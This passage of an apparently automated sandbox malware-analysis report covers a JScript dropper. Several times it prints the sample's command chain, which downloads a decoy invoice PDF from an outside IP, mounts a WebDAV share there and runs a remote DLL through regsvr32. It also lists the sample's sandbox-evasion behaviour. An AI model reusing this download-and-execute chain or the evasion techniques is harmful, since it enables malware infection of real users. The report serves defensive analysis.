Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5286.js.csv");ITextStream.WriteLine(" entry:6493 f:hglxdnj");ITextStream.WriteLine(" exec:2 f:hglxdnj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4181			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5664			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7964	Thread sleep count: 4181 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7968	Thread sleep count: 5664 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8032	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8048	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7288	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1868	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1487638301.0000019200578000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0Z^
Source: net.exe, 00000007.00000002.1497716552.00000192005E0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1485342845.00000192005E0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1482449338.00000192005E0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2723801113.0000026F8E42F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2725281065.0000026F93854000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
